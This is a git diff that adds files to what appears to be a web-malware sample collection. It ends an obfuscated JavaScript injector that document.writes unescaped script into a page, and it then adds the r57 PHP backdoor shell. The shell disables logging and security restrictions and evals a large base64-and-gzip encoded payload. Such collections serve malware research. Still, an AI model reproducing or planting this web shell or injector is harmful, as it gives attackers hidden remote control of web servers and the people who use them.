+fF7eSD8[242]="5Cu0063%255Cu007"; +fF7eSD8[243]="2%255Cu0069%255Cu"; +fF7eSD8[244]="0070%255Cu007"; +fF7eSD8[245]="4%255Cu003e%2527%25"; +fF7eSD8[246]="29%253C/script%25"; +fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; +fF7eSD8[248]="pt%3E"; +for (i = 0; i < fF7eSD8.length; i ++) +{ + document.write(unescape(fF7eSD8[i])) +} +// --> +</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57.1.4.0.php b/web-malware-collection-master/Backdoors/PHP/r57.1.4.0.php new file mode 100755 index 0000000..54c9fb9 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57.1.4.0.php @@ -0,0 +1,23 @@ +<? +error_reporting(0); + +$language='eng'; + +$auth = 0; + +$name='abcdef1234567890abcdef1234567890'; +$pass='abcdef1234567890abcdef1234567890'; + +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); + +/******************************************************************************************************/ +eval(gzinflate(base64_decode('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